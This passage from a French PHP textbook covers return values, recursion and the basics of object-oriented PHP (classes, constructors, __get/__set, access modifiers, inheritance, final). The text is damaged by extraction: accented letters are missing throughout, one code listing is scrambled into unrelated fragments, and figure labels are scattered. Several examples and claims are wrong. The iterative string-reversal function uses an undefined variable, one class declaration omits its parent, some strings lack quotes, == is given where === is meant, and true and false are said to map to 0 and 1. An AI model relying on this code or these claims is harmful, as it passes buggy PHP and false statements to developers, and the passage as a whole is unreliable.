Cette utilisation du mot-cl return nest videmment pas des plus utiles. Normalement, le mot-cl return semploie pour sortir dune fonction, au milieu de celle-ci,
lorsquune certaine condition a t vrifie.
Une condition derreur est une raison typique dutiliser une instruction return pour
interrompre lexcution dune fonction avant sa fin. Par exemple, supposez quil nous
faille crire une fonction dterminant quel est le plus grand de deux nombres. Il faudrait
que lexcution de la fonction puisse tre interrompue si lun des deux nombres na pas
t fourni.
function superieur( $x, $y ) {
if (!isset($x) ||!isset($y) ) {
echo "Cette fonction attend deux nombres.";
return;
}
if ($x >= $y) {
echo $x;
} else {
echo $y;
}
}

La fonction prdfinie isset() permet de dterminer si une variable a bien t cre et


si elle contient une valeur. Dans le code prcdent, un message derreur sera produit et
lexcution de la fonction se terminera si lun des paramtres na pas t fourni avec
une valeur. Pour cela, on utilise un test !isset(), qui signifie "NON isset()" ; linstruction if de ce fragment de code peut donc se lire "si x nest pas dfini ou si y nest pas
dfini". Lexcution sinterrompt si lune de ces conditions est vraie.
Lorsque linterprteur PHP atteint une instruction return dans une fonction, il
nexcute pas les lignes qui suivent linstruction return dans la fonction. Lexcution
du programme revient lendroit o la fonction a t appele. Si les deux paramtres
sont bien dfinis, la fonction affiche dans la fentre du navigateur la valeur du plus
grand des deux paramtres.
Lexcution du code suivant :
$a = 1;
$b = 2.5;
$c = 1.9;
superieur($a, $b);
superieur($c, $a);
superieur($d, $a);

produit le rsultat suivant :


2.5
1.9
Cette fonction attend deux nombres.

Chapitre 5

Rutilisation de code et criture de fonctions

169

Retour de valeurs des fonctions


Lutilisation du mot-cl return ne se limite pas linterruption de lexcution dune
fonction. Dans nombre de fonctions, une instruction return sert communiquer
avec le code qui a appel la fonction. Ainsi, superieur() pourrait se rvler plus utile
si le rsultat de la comparaison tait renvoy par la fonction au lieu dtre affich dans
le navigateur. Cest alors dans le code du script principal que se dciderait laffichage
ou lutilisation de ce rsultat. La fonction max() prdfinie dans PHP a exactement ce
comportement.
La fonction superieur() pourrait ainsi tre modifie de la manire suivante :
function superieur($x, $y) {
if (!isset($x) ||!isset($y) ) {
return false;
} else if ( $x >= $y ) {
return $x;
} else {
return $y;
}
}

La fonction superieur() renvoie prsent la plus grande des deux valeurs qui lui sont
passes en paramtres. Elle renverra une valeur qui sera de toute vidence fausse en
cas derreur : si lun des nombres comparer nest pas fourni, la fonction retourne
false. La seule difficult avec cette approche est que les programmeurs appelant cette
fonction doivent tester le type du retour avec == pour sassurer de ne pas confondre
false avec 0.
titre de comparaison, la fonction max() ne renvoie rien si les deux variables nont pas
t dfinies. Si une seule a t dfinie, cest elle qui est renvoye.
Le code qui suit :
$a =
echo
echo
echo

1; $b = 2.5; $c =
superieur($a, $b)
superieur($c, $a)
superieur($d, $a)

1.9;
. "<br />";
. "<br />";
. "<br />";

produit le rsultat suivant parce que $d nexiste pas et que false nest pas visible :
2.5
1.9

Souvent, les fonctions qui effectuent certains traitements, mais qui nont pas besoin de
renvoyer de valeur, renvoient les valeurs true ou false pour signaler si elles ont russi
ou chou. Les valeurs boolennes true et false peuvent tre respectivement reprsentes
par 0 et 1, bien quil sagisse de types diffrents.

170

Partie I

Utilisation de PHP

Rcursivit
Une fonction rcursive est une fonction qui sappelle elle-mme. Ce type de fonction se
rvle particulirement utile pour naviguer dans des structures de donnes dynamiques,
comme les listes chanes et les arborescences.
Toutefois, les applications web qui requirent des structures de donnes dune telle
complexit sont assez rares, si bien que la rcursivit nest que rarement exploite en
PHP. Dans nombre de cas, elle peut tre utilise la place dune structure itrative,
parce quelle consiste galement effectuer des rptitions du code. Cependant, les
fonctions rcursives tant plus lentes et consommant plus de mmoire que leurs homologues itratives, vous avez tout intrt prfrer les itrations aux rcursions lorsque
cest possible.
Pour que cette tude soit complte, nous allons quand mme examiner lexemple
simple prsent dans le Listing 5.5.
Listing 5.5 : recursion.php Une chane peut tre facilement inverse au moyen
dune fonction rcursive. La version itrative est galement donne.
function inverser_recursive($chaine) {
if (strlen($chaine) > 0) {
inverser_recursive(substr($chaine, 1));
}
echo substr($chaine, 0, 1);
return;
}
function inverser_iterative($chaine) {
for ($i=1; $i<=strlen($chaine); $i++) {
echo substr($str, -$i, 1);
}
return;
}

Le Listing 5.5 contient deux fonctions qui affichent toutes deux lenvers la chane qui
leur est fournie en paramtre. La fonction inverser recursive () est rcursive, tandis
que la fonction inverser iterative () est itrative.
inverser recursive () prend une chane en paramtre. Lorsquelle est appele, elle
opre en sappelant elle-mme et en se passant chaque fois la sous-chane comprise
entre le deuxime et le dernier caractre de la chane. Cet appel, par exemple :
inverser_recursive(Bonjour);

se traduit par la srie dappels suivante :


inverser_recursive (onjour);
inverser_recursive (njour);
inverser_recursive (jour);

Chapitre 5

inverser_recursive
inverser_recursive
inverser_recursive
inverser_recursive

Rutilisation de code et criture de fonctions

171

(our);
(ur);
(r);
();

chaque fois que la fonction sappelle elle-mme, une nouvelle copie du code de la
fonction est effectue dans la mmoire du serveur, mais avec un paramtre diffrent.
Tout se passe comme si une fonction diffrente tait appele chaque fois. Ce fonctionnement permet dviter la confusion entre les diffrentes instances de la fonction.
chaque appel, la longueur de la chane est value. Lorsque linterprteur PHP atteint
la fin de la chane (strlen()==0), la condition nest plus satisfaite. Linstance de la
fonction la plus rcente (inverser recursive ()) se poursuit par lexcution de
la prochaine ligne de code, laquelle commande dafficher le premier caractre de la
chane passe en paramtre. ce stade, il ny a pas de caractre, parce que la chane est
vide.
Ensuite, cette instance de la fonction redonne le contrle linstance qui la appele,
cest--dire inverser recursive (r). Celle-ci affiche le premier caractre de sa
chane, en loccurrence r, et redonne le contrle linstance qui la appele.
Le processus se poursuit ainsi, affichant un caractre puis redonnant le contrle
linstance prcdente de la fonction selon lordre dappel, jusqu ce que le contrle soit
redonn au programme principal.
Les solutions rcursives sont lgantes et ont un aspect mathmatique indniable mais,
le plus souvent, la solution itrative leur est prfrable. Le Listing 5.5 donne galement
lquivalent itratif de la fonction inverser recursive : vous pouvez remarquer que
cette variante nest pas plus longue (ce qui nest pas toujours vrai de toutes les fonctions
itratives) et quelle produit exactement le mme rsultat.
La fonction rcursive se distingue principalement de la fonction itrative par le fait
quelle effectue des copies delle-mme dans la mmoire et gnre plusieurs appels de
fonction, ce qui est coteux en termes de mmoire et de temps dexcution.
Peut-tre choisirez-vous des solutions rcursives lorsquelles permettent dcrire un
code plus court et plus lgant que la version itrative, mais cela ne se produit pas
souvent dans le domaine des applications web.
Bien que la rcursion apparaisse plus lgante, les programmeurs oublient souvent de
fournir une condition de terminaison dans leurs fonctions rcursives. Dans ce cas,
lexcution rcursive de la fonction se poursuit jusqu ce que le serveur soit court de
mmoire ou que le temps dexcution maximal ait t dpass.

172

Partie I

Utilisation de PHP

Pour aller plus loin


Lusage des instructions include(), require(), function et return est galement
expliqu dans le manuel en ligne de PHP. Pour en savoir plus sur des concepts comme
la rcursivit, le passage de paramtres par valeur/rfrence et la porte des variables
(sujets que lon retrouve dans plusieurs langages de programmation), consultez un
manuel gnral dinformatique comme C++ How to Program, de Deitel et Deitel.

Pour la suite
Vous savez prsent amliorer la maintenabilit et la rutilisabilit de votre code par le
recours des fichiers de type "include" et "require" et des fonctions. Nous allons
donc pouvoir poursuivre notre tude par laspect orient objet du langage PHP. Lutilisation dobjets rpond aux mmes objectifs que ceux des concepts dcrits dans ce
chapitre, mais avec plus davantages encore lorsque les projets sont complexes.

6
PHP orient objet
Ce chapitre prsente les concepts de la programmation oriente objet (POO) et montre
comment ils peuvent tre implments en PHP.
Limplmentation de la POO en PHP possde toutes les fonctionnalits que vous seriez
en droit dattendre dun langage orient objet complet. Nous signalerons chacune de
ces fonctionnalits mesure que nous avancerons dans ce chapitre.

Concepts de la programmation oriente objet


Les langages de programmation modernes supportent gnralement, voire requirent,
une approche oriente objet du dveloppement logiciel. Le dveloppement orient objet
(DOO) consiste exploiter les classifications, les relations et les proprits des objets
dun systme pour faciliter le dveloppement des programmes et la rutilisation du
code.
Classes et objets
Dans le contexte de la POO, un objet peut tre quasiment tout lment ou concept,
cest--dire un objet physique comme un bureau ou un client, ou un objet conceptuel
qui nexiste que dans le programme lui-mme, comme un champ de saisie ou un fichier.
Le plus souvent, le dveloppeur sintresse aux objets du monde rel et aux objets
conceptuels qui doivent tre reprsents dans le programme.
Un logiciel orient objet est conu et construit sous la forme dun ensemble dobjets
indpendants dots la fois dattributs et doprations qui interagissent pour rpondre
nos besoins. Les attributs sont des proprits ou des variables qui se rapportent
lobjet. Les oprations sont des mthodes, des actions ou des fonctions que lobjet peut
accomplir, soit pour se modifier lui-mme, soit pour produire un effet externe (le terme
attribut est utilis de manire interchangeable avec les termes variable membre et

174

Partie I

Utilisation de PHP

proprit, tandis que le terme opration est utilis de manire interchangeable avec le
terme mthode).
Le principal avantage dun logiciel orient objet rside dans sa capacit prendre en
charge et encourager lencapsulation, galement appele masquage de donnes. Pour
lessentiel, les donnes contenues dans un objet ne sont accessibles que par le biais des
oprations de celui-ci, qui forment linterface de lobjet.
La fonctionnalit dun objet est lie aux donnes quil utilise. Les dtails de limplmentation dun objet peuvent tre facilement modifis pour amliorer les performances,
ajouter de nouvelles caractristiques ou corriger des bogues, sans quil soit ncessaire
de changer linterface. Le fait de modifier cette interface peut, en effet, avoir des rpercussions en cascade dans le projet, alors que lencapsulation vous permet deffectuer
des modifications et de raliser des corrections de bogues sans que vos actions ne se
rpercutent dans les autres parties du projet.
Dans les autres secteurs du dveloppement logiciel, la POO sest impose comme la norme
et le dveloppement orient fonctions est dsormais considr comme dmod. Cependant, pour diverses raisons, la plupart des scripts web restent malheureusement conus et
crits avec une approche ad hoc, utilisant une mthodologie oriente fonctions.
Ce "retard" a plusieurs causes. Une majorit de projets web sont de petite taille et relativement simples. Nul besoin dlaborer un plan dtaill pour construire une tagre
avec une scie. De la mme manire, la plupart des projets logiciels pour le Web peuvent
tre raliss de cette faon parce quils sont de petite taille. En revanche, si vous prenez
votre scie pour construire une maison sans avoir formellement planifi vos travaux,
vous ne pourrez pas obtenir des rsultats de qualit, si tant est que vous obteniez des
rsultats. Il en va exactement de mme pour les projets logiciels importants.
Nombre de projets web voluent dun ensemble de pages relies entre elles par des
hyperliens vers des applications complexes. Ces applications complexes, quelles
soient prsentes via des botes de dialogue et des fentres ou via des pages HTML
dynamiques, requirent une mthodologie de dveloppement mrement rflchie.
Lorientation objet peut aider grer la complexit des projets logiciels, augmenter la
rutilisabilit du code et, par consquent, rduire les cots de maintenance.
En POO, un objet est une collection unique et identifiable de donnes et doprations
agissant sur ces donnes. Par exemple, considrons le cas de deux objets reprsentant
des boutons. Mme si ces boutons portent tous deux lintitul "OK", ont une largeur de
60 pixels, une hauteur de 20 pixels et divers autres attributs identiques, nous devons
pouvoir les distinguer et les manipuler sparment lun de lautre. Dun point de vue
logiciel, cette distinction seffectue via des variables spares, qui servent de descripteurs
(didentificateurs uniques) pour les objets.

Chapitre 6

PHP orient objet

175

Les objets peuvent tre regroups en "classes". Une classe est un ensemble dobjets qui
peuvent tre diffrents les uns des autres, mais qui ont certains points communs. Une
classe contient des objets qui prsentent tous des oprations se comportant de la mme
manire et des attributs identiques reprsentant les mmes choses, bien que les valeurs
de ces attributs puissent varier dun objet lautre au sein de la classe.
Vous pouvez ainsi considrer le nom bicyclette comme celui dune classe dobjets qui
dcrit les nombreuses bicyclettes distinctes qui prsentent toutes des caractristiques ou
attributs communs, comme deux roues, une couleur et une taille, et des oprations,
comme le dplacement.
Ma propre bicyclette pourrait ainsi tre considre comme un objet appartenant la
classe bicyclette. Elle a des caractristiques identiques toutes les bicyclettes, y
compris lopration de dplacement, qui est tout fait comparable lopration de
dplacement des autres bicyclettes, mme si elle nest utilise que trs rarement. Les
attributs de ma bicyclette ont toutefois des valeurs qui leur sont propres ; par exemple,
sa couleur est verte, ce qui nest pas le cas de toutes les bicyclettes.
Polymorphisme
Un langage de programmation orient objet doit prendre en charge le polymorphisme,
qui signifie que diffrentes classes peuvent avoir des comportements diffrents pour la
mme opration. Par exemple, supposez que nous ayons dfini une classe voiture et une
classe bicyclette. Ces deux classes peuvent avoir des oprations de dplacement diffrentes. Dans lunivers des objets rels, cette diffrentiation pose rarement problme : il
est peu probable en effet quune bicyclette soit confondue avec une voiture et dmarre
avec une opration de dplacement de voiture au lieu dune opration de dplacement
de bicyclette. En revanche, un langage de programmation ne possde pas le sens
commun du monde rel : il doit par consquent disposer du polymorphisme pour quil
soit possible de distinguer lopration de dplacement approprie un objet particulier.
Le polymorphisme est plus une caractristique des comportements que des objets euxmmes. En PHP, seules les fonctions membres dune classe peuvent tre polymorphiques. Les verbes des langages naturels sont un peu lquivalent dans le monde rel
des fonctions membres dune classe. Considrez la manire dont peut tre utilise une
bicyclette dans la vie relle. Vous pouvez la nettoyer, la dplacer, la dmonter, la rparer
ou la peindre, entre autres choses.
Les verbes de cette dernire phrase dcrivent des actions gnriques parce que le type
dobjet auquel ils peuvent tre appliqus nest pas prcis (ce type dabstraction concernant les objets et les actions est, du reste, lune des caractristiques distinctives de
lintelligence humaine).

176

Partie I

Utilisation de PHP

Le dplacement dune bicyclette, par exemple, exige des actions totalement diffrentes
de celles requises pour dplacer une voiture, mme si les concepts sont similaires. Le
verbe "dplacer" peut donc tre associ un ensemble particulier dactions, mais
uniquement aprs que lobjet auquel il sapplique a t dfini.
Hritage
Lhritage permet de crer une relation hirarchique entre les classes au moyen de sousclasses. Une sous-classe hrite des attributs et des oprations de sa superclasse. Les
voitures et les bicyclettes ont, par exemple, des points communs et nous pourrions donc
dfinir une classe vhicule contenant des attributs comme la couleur et des oprations
comme le dplacement qui sont communs tous les vhicules. Il suffirait ensuite de
laisser les classes voiture et bicyclette hriter de la classe vhicule.
Les termes sous-classe, classe drive et classe fille sont utiliss de manire interchangeable. Il en va de mme des termes superclasse, classe de base et classe parente.
Grce au concept dhritage, nous pouvons laborer et enrichir lensemble des classes
existantes. partir dune simple classe de base, des classes plus complexes et plus
spcialises peuvent tre cres au fur et mesure des besoins. Cette approche rend le
code plus rutilisable et constitue lun des atouts indniables de la programmation
oriente objet.
Exploiter la notion dhritage peut permettre dconomiser du temps et des efforts de
dveloppement lorsque des oprations peuvent tre implmentes une seule fois dans
une superclasse, au lieu de ltre chaque fois dans des sous-classes spares. Cette
approche favorise galement une modlisation plus prcise des relations du monde rel.
Lorsque la phrase dcrivant la relation entre deux classes peut contenir les mots "est un"
ou "est une", alors, le concept dhritage peut tre exploit. La phrase "une voiture est
un vhicule", par exemple, est tout fait sense, tandis que la phrase "un vhicule est
une voiture" nest pas vraie dans le monde rel. Par consquent, les voitures peuvent
hriter de la classe vhicule.

Cration de classes, dattributs et doprations en PHP


Jusquici, la description que nous avons donne des classes est plutt abstraite. Plus
concrtement, la cration dune classe en PHP seffectue au moyen du mot-cl class.
Structure dune classe
La dfinition minimale dune classe se formule de la manire suivante :
class nomclass {
}

Chapitre 6

PHP orient objet

177

Pour quune classe ait une quelconque utilit, elle doit tre dote dattributs et doprations. Pour crer des attributs, il faut dclarer des variables au sein dune dfinition de
classe en les prcdant de mots-cls indiquant leur visibilit : public, private ou
protected (ces mots-cls seront prsents plus loin dans ce chapitre). Le code qui suit
cre une classe nomclasse dote des deux attributs publics, $attribut1 et $attribut2 :
class classname {
public $attribut1;
public $attribut2;
}

La cration doprations dans une classe seffectue en dclarant des fonctions dans la
dfinition de la classe. Le code suivant cre une classe nomclasse dote de deux oprations qui neffectuent rien de particulier. Lopration operation1() ne prend aucun
paramtre, tandis que operation2() attend deux paramtres.
class nomclasse {
function operation1() {}
function operation2($param1, $param2) {}
}

Constructeurs
La plupart des classes disposent dun type spcial dopration appel constructeur. Un
constructeur est appel lors de la cration dun objet et effectue gnralement des tches
dinitialisation comme lassignation de valeurs initiales aux attributs ou la cration
dautres objets ncessaires lobjet concern.
Un constructeur se dclare de la mme manire que les autres oprations, sauf quil
porte le nom spcial construct().
Bien quun constructeur puisse tre appel manuellement, son rle principal est dtre
appel automatiquement la cration dun objet. Le code qui suit dclare une classe
dote dun constructeur :
class nomclasse {
function _ _construct($param) {
echo "Constructeur appel avec le paramtre " . $param . "<br />";
}
}

Destructeurs
Loppos dun constructeur est un destructeur. Les destructeurs permettent dexcuter
un traitement particulier juste avant quun objet ne soit dtruit, ce qui aura lieu automatiquement lorsque toutes les rfrences cet objet ont t indfinies ou hors de porte.
Le destructeur dune classe doit sappeler destruct() et ne peut prendre aucun paramtre.

178

Partie I

Utilisation de PHP

Instanciation des classes


Une fois que nous avons dclar une classe, nous devons crer un objet (cest--dire un
individu particulier appartenant la classe) avec lequel nous pourrons ensuite travailler.
Cette tape sappelle galement cration dune instance ou instanciation dune classe.
On cre un objet laide du mot-cl new. Il faut galement prciser la classe dont lobjet
sera linstance et fournir les paramtres ventuellement requis par le constructeur de la
classe.
Le code qui suit dclare une classe nomclasse avec un constructeur, puis cre trois
objets de type nomclasse :
class nomclasse {
function _ _construct($param) {
echo "Constructeur appel avec le paramtre " . $param ."<br />";
}
}
$a = new nomclasse("Premier");
$b = new nomclasse("Second");
$c = new nomclasse();

Le constructeur tant invoqu chaque cration dobjet, ce code produit le rsultat


suivant :
Constructeur appel avec le paramtre Premier
Constructeur appel avec le paramtre Second
Constructeur appel avec le paramtre

Utilisation des attributs de classe


lintrieur dune classe, vous avez accs un pointeur spcial appel $this. Si un
attribut de la classe courante porte le nom $attribut, vous pouvez le dsigner par
$this >attribut lorsque vous linitialisez ou que vous y accdez partir dune opration
situe dans la classe.
Le code qui suit illustre la dfinition et laccs un attribut lintrieur dune classe :
class nomclasse {
public $attribut;
function operation($param) {
$this->attribut = $param
echo $this->attribut;
}
}

La possibilit daccder un attribut depuis lextrieur de la classe est dtermine par


des modificateurs daccs, comme vous le verrez dans la suite de ce chapitre. Cet exemple ne restreignant pas laccs lattribut, vous pouvez y accder depuis lextrieur de
la classe :

Chapitre 6

PHP orient objet

179

class nomclasse {
public $attribut;
}
$a = new nomclasse();
$a->attribut = "valeur";
echo $a->attribut;

Il est toutefois dconseill daccder directement aux attributs depuis lextrieur dune
classe. Lun des intrts de lapproche oriente objet rside justement dans le fait que
lencapsulation y est encourage.
Vous pouvez garantir cette encapsulation laide des fonctions _ _get et _ _set. Au lieu
daccder directement aux attributs dune classe, vous pouvez crire des fonctions
accesseurs de sorte effectuer tous vos accs par le biais dune seule section de code.
Une fonction accesseur peut se formuler de la manire suivante :
class nomclasse {
public $attribut;
function _ _get($nom) {
return $this->$nom;
}
function _ _set ($nom, $valeur) {
$this->$nom = $valeur;
}
}

Ce code se contente de fournir des fonctions minimales permettant daccder lattribut $attribut. La fonction _ _get() renvoie simplement la valeur de $attribut, tandis
que la fonction set() affecte une nouvelle valeur $attribut.
Notez que _ _get() ne prend quun seul paramtre le nom dun attribut et renvoie la
valeur de cet attribut. De manire similaire, la fonction _ _set() prend deux paramtres :
le nom dun attribut et la valeur que vous souhaitez lui donner.
Ces fonctions ne sappellent pas directement. Le double blanc soulign devant le nom
indique que ces fonctions possdent une signification spciale en PHP, tout comme les
fonctions _ _construct() et _ _destruct().
Si vous instanciez la classe :
$a = new nomclasse();

vous pouvez utiliser les fonctions _ _get() et _ _set() pour tester et modifier la valeur
de nimporte quel attribut.
Si vous tapez :
$a->$attribut = 5;

cette instruction appellera implicitement la fonction _ _set() avec la valeur $nom positionne "attribut" et la valeur $valeur initialise 5. Si vous souhaitez effectuer

180

Partie I

Utilisation de PHP

des contrles sur les valeurs affectes lattribut, vous devez crire la fonction _ _set()
en consquence.
La fonction _ _get() fonctionne de manire similaire. Dans votre code, si vous crivez :
$a->attribut

lexpression appellera implicitement la fonction _ _get() avec le paramtre $nom positionn "attribut". Cest vous dcrire la fonction _ _get() pour retourner la valeur
de lattribut.
Au premier coup dil, ce code peut sembler navoir que peu ou pas dintrt. Sous sa
forme actuelle, cest probablement le cas, mais il existe une raison simple de proposer
des fonctions daccs : vous naurez alors quune unique section de code qui accde
cet attribut particulier.
Avec un seul point daccs, vous pouvez implmenter des contrles de validit afin de
vous assurer que les donnes stockes sont cohrentes. Si vous jugez par la suite que la
valeur de $attribut doit tre comprise entre 0 et 100, vous pouvez ajouter quelques
lignes de code et oprer la vrification avant dautoriser les modifications. Vous pourriez
ainsi modifier la fonction _ _set() de la manire suivante :
function _ _set ($nom, $valeur) {
if( $nom == "attribut" && $valeur >= 0 && $valeur <= 100 ) {
$this->attribut = $valeur;
}
}

Avec un unique point daccs, vous tes libre de modifier limplmentation sous-jacente.
Si, pour une raison ou pour une autre, vous deviez modifier la manire dont $attribut
est stock, les fonctions accesseurs vous permettraient de le faire en ne modifiant le
code qu un seul emplacement.
Il se peut que vous dcidiez, au lieu de stocker $attribut sous forme de variable, de le
rcuprer partir dune base de donnes selon les besoins, de calculer une nouvelle
valeur chaque fois quelle est requise, de dduire une valeur partir de valeurs
dautres attributs ou dencoder les donnes sous un type de donnes plus compact.
Quelle que soit la modification que vous souhaitiez oprer, il suffit de modifier les fonctions accesseurs. Les autres sections du code ne seront pas affectes, pour autant que
vous faites en sorte que les fonctions accesseurs continuent daccepter ou de renvoyer
les donnes que les autres parties du programme sattendent pouvoir utiliser.

Contrler laccs avec private et public


PHP utilise des modificateurs daccs qui contrlent la visibilit des attributs et des
mthodes et qui sont placs devant les dclarations dattribut et de mthode.
PHP dispose des trois modificateurs daccs suivants :

Chapitre 6

PHP orient objet

181

Loption par dfaut est public. Cela signifie que, si vous navez pas spcifi de
modificateur daccs pour un attribut ou une mthode, ceux-ci seront publics.
Laccs aux lments publics peut se faire depuis lintrieur ou lextrieur de la
classe.
Le modificateur daccs private signifie quil nest possible daccder llment
marqu que depuis lintrieur de la classe. Vous pouvez lutiliser sur tous les attributs si vous nutilisez pas _ _get() et _ _set(). Vous pouvez galement choisir de
rendre certaines mthodes prives, par exemple sil sagit de fonctions utilitaires
utiliser lintrieur de la classe uniquement. Les lments privs ne sont pas hrits
(nous y reviendrons dans la suite de ce chapitre).
Le modificateur daccs protected signifie que lon ne peut accder llment
marqu que depuis lintrieur de la classe. Il existe galement dans toutes les sousclasses. Nous reviendrons aussi sur cette question lorsque nous traiterons de lhritage dans la suite de ce chapitre. Pour linstant, considrez que protected est midistance entre private et public.

Le code suivant montre lutilisation du modificateur public :


class nomclasse {
public $attribut;
public function _ _get($nom) {
return $this->$nom;
}
public function _ _set ($nom, $valeur) {
$this->$nom = $valeur;
}
}

Ici, chaque membre de classe est prcd dun modificateur daccs qui indique sil est
priv ou public. Le mot-cl public peut tre omis car il sagit du rglage par dfaut,
mais le code est plus simple comprendre lorsque vous lincluez, notamment si vous
utilisez dautres modificateurs.

Appel des oprations dune classe


Nous pouvons appeler une opration de classe en procdant de la mme manire que
pour un attribut de classe. Si nous dclarons la classe suivante :
class nomclasse {
public function operation1() { }
public function operation2($param1, $param2) { }
}

et que nous crons un objet de type nomclasse, comme ici :


$a = new nomclasse();

182

Partie I

Utilisation de PHP

nous pouvons appeler des oprations en procdant de la mme faon que pour lappel
dautres fonctions : en spcifiant leur nom, suivi des paramtres requis, placs entre
parenthses. Ces oprations appartenant un objet, la diffrence des fonctions normales, il est ncessaire de prciser lobjet concern. Le nom de cet objet est indiqu de la
mme manire que pour ses attributs :
$a->operation1();
$a->operation2(12, "test");

Si les oprations renvoient des valeurs, elles peuvent tre rcupres de la manire
suivante :
$x = $a->operation1();
$y = $a->operation2(12, "test");

Implmentation de lhritage en PHP


Une classe peut tre dclare comme tant une sous-classe dune autre classe en utilisant le mot-cl extends. Le code qui suit cre une classe B qui hrite dune classe A
prcdemment dfinie :
class B extends A {
public $attribut2;
public function operation2() { }
}

En admettant que la classe A ait t dclare comme suit :


class A {
public $attribut1;
public function operation1() { }
}

tous les accs suivants aux attributs et oprations dun objet de la classe B seraient
corrects :
$b = new B();
$b->operation1();
$b->attribut1 = 10;
$b->operation2();
$b->attribut2 = 10;

Notez que, la classe B hritant de la classe A, nous pouvons faire rfrence


operation1() et $attribut1 bien que ceux-ci soient dclars dans la classe A. En tant
que sous-classe de A, la classe B en possde les caractristiques et les donnes. En outre,
B a dclar un attribut et une opration qui lui sont propres.
Lhritage ne fonctionne que dans un sens. La sous-classe (la fille) hrite de sa superclasse (le parent) mais le parent nhrite pas de son enfant. Il sensuit que les deux
dernires lignes du code suivant sont incorrectes :

Chapitre 6

PHP orient objet

183

$a = new A();
$a->operation1();
$a->attribut1 = 10;
$a->operation2();
$a->attribut2 = 10;

En effet, la classe A ne possde pas dopration operation2() ni dattribut attribut2.

Contrler la visibilit via lhritage avec private et protected


Les modificateurs daccs private et protected permettent de contrler lhritage. Un
attribut ou une mthode dclar private ne sera pas hrit, alors quun attribut ou une
mthode dclar protected ne sera pas visible en dehors de la classe (comme un lment
priv) mais sera hrit.
Considrez lexemple suivant :
<?php
class A {
private function operation1() {
echo "Appel de operation1";
}
protected function operation2() {
echo "Appel de operation2";
}
public function operation3() {
echo "Appel de operation3";
}
}
class B extends A {
function _ _construct() {
$this->operation1();
$this->operation2();
$this->operation3();
}
}
$b = new B;
?>

Ce code cre une opration de chaque type dans la classe A : public, protected et
private. B hrite de A. Dans le constructeur de B, vous essayez donc dappeler des
oprations du parent.
La ligne suivante :
$this->operation1();

produit une erreur fatale :


Fatal error: Call to private method A::operation1() from context B

184

Partie I

Utilisation de PHP

Cet exemple montre que les oprations prives ne peuvent pas tre appeles depuis une
classe fille.
Si vous mettez cette ligne en commentaire, vous remarquerez que les deux autres appels
de fonction marchent bien. La fonction protected est hrite mais elle ne peut tre
utilise que depuis lintrieur de la classe fille, comme nous le faisons ici. Si vous
essayez dajouter la ligne suivante :
$b->operation2();

en bas du fichier, vous obtenez lerreur suivante :


Fatal error: Call to protected method A::operation2() from context

En revanche, vous pouvez appeler operation3() depuis lextrieur de la classe :


$b->operation3();

Cet appel est possible car la fonction est dclare public.


Redfinition (overriding)
Nous venons de voir le cas dune sous-classe dans laquelle sont dclars de nouveaux
attributs et oprations. Il est galement permis et parfois utile de redclarer les mmes
attributs et oprations. Une telle redclaration, qualifie de "redfinition" (overriding),
permet en effet de donner un attribut dune sous-classe une valeur par dfaut diffrente de celle du mme attribut dans la superclasse, ou bien encore de donner une
opration dune sous-classe une fonctionnalit diffrente de la mme opration dans la
superclasse.
Par exemple, si nous disposons de la classe A suivante :
class A {
public $attribut = "Valeur par dfaut";
public function operation() {
echo "Quelque chose<br />";
echo La valeur de $attribut est . $this->attribut . "<br />";
}
}

et quil nous apparaisse ncessaire de modifier la valeur par dfaut de $attribut et de


fournir une nouvelle fonctionnalit operation(), nous pourrions crer la classe B en
redfinissant $attribut et operation() de la faon suivante :
class B extends {
public $attribut = "Valeur diffrente";
public function operation() {
echo "Autre chose<br />";
echo La valeur de $attribut est . $this->attribut . "<br />";
}
}

Chapitre 6

PHP orient objet

185

Dclarer B naffecte en rien la dfinition originale de A. Considrez les deux lignes de


code suivantes :
$a = new A();
$a -> operation();

Elles crent un objet de type A et appellent sa fonction operation(). Le rsultat obtenu


lexcution de ces lignes est le suivant :
Quelque chose
La valeur de $attribut est Valeur par dfaut

Ce rsultat montre bien que la cration de B na pas affect A. Si nous crons un objet de
type B, nous obtiendrons un rsultat diffrent.
Les lignes suivantes :
$b = new B();
$b -> operation();

produiront :
Autre chose
La valeur de $attribut est Valeur diffrente

De la mme manire que fournir de nouveaux attributs ou oprations dans une sousclasse naffecte pas la superclasse, la redfinition dattributs ou doprations dans une
sous-classe naffecte pas la superclasse.
Une sous-classe hrite de tous les attributs et oprations non privs de sa superclasse,
moins que vous effectuiez des remplacements. Si vous fournissez une dfinition de
remplacement, celle-ci devient prpondrante et remplace la dfinition dorigine.
Le mot-cl parent vous permet dappeler la version originale de lopration dans la
classe parente. Par exemple, pour appeler lopration A::operation depuis lintrieur
de la classe B, vous utiliseriez :
parent::operation();

La sortie produite est cependant diffrente. Bien que vous appeliez lopration depuis la
classe parente, PHP utilise les valeurs dattribut de la classe courante. Vous obtiendrez
donc la sortie suivante :
Quelque chose
La valeur de $attribut est Valeur diffrente

Lhritage peut tre implment sur plusieurs niveaux. Par exemple, nous pourrions
dclarer une classe appele C qui hrite de B, cest--dire qui hrite la fois des
proprits de B et de celles du parent de B, cest--dire de A. Tout comme pour la classe B,
nous serions libres de redfinir et de remplacer dans la classe C des attributs et oprations
des parents.

186

Partie I

Utilisation de PHP

Empcher lhritage et les redfinitions avec final


PHP dispose du mot-cl final. Lorsque vous utilisez ce mot-cl devant une dclaration
de fonction, la fonction ne pourra plus tre redfinie dans aucune sous-classe. Vous
pouvez par exemple lajouter la classe A de lexemple prcdent :
class A {
public $attribut = "Valeur par dfaut";
final function operation() {
echo "Quelque chose<br />";
echo La valeur de $attribut est . $this->attribut . "<br />";
}
}

Cette approche vous empche de redfinir operation() dans la classe B. Si vous


essayez de le faire, vous obtenez lerreur suivante :
Fatal error: Cannot override final method A::operation()

Vous pouvez galement utiliser le mot-cl final pour empcher la cration de sousclasses partir dune classe. Pour empcher la cration de sous-classes partir de la
classe A, ajoutez le mot-cl de la manire suivante :
final class A {...}

Si vous essayez ensuite dhriter de A, vous obtiendrez une erreur comme celle-ci :
Fatal error: Class B may not inherit from final class (A)

Hritage multiple
Quelques langages OO (dont C++ et Smalltalk) prennent en charge lhritage multiple
mais, comme la plupart des autres, ce nest pas le cas de PHP. Il sensuit que chaque
classe ne peut hriter que dun seul parent. En revanche, aucune restriction nimpose
une limite sur le nombre denfants que peut engendrer un mme parent.
Les implications de cet tat de fait ne sont pas ncessairement videntes premire vue.
La Figure 6.1 montre trois modes dhritage diffrents.
Figure 6.1

PHP ne prend pas


en charge lhritage
multiple.

B
B

Hritage simple
C
Hritage simple

C
Hritage multiple

Chapitre 6

PHP orient objet

187

